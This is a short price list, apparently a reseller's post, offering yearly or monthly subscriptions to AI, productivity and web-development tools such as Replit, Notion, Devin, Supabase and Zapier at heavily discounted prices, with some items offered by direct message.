Gamma Pro (1Y) – $43.35
Replit Core (1Y) – $34.85
Lovable Pro (1Y) – $51.85
Bolt New Pro (1Y) – $38.36
Notion Business + AI (1M) – $5.37
Notion Business Invite (6M) – $29.07
Warp Dev Pro (1Y) – $34.52
Descript Creator Pro (1Y) – $25.30
Wispr Flow Pro (1Y) – $26.83
Magic Patterns Hobby (1Y) – $21.49
Granola Business (1Y) – $19.18
ChatPRD Pro (1Y) – $16.87
Devin AI Core (1Y) – $46.03
Lex Pro / Jasper AI / Wordtune – DM for price

🌐 WEB DEV & CLOUD

Supabase Pro (12M) – $57.54
Zapier Pro (1Y) – $49.86
N8N Starter (1Y) – $38.36
Linear Business (1Y) – $11.49
Webflow CMS (1Y) – $42.50
Fireflies (1Y) – $59.50
Vapi ($200 Credits / 12M) – $42.50
Webflow Growth (Lifetime) – DM
GitLab Ultimate – DM
FlutterFlow Premium – DM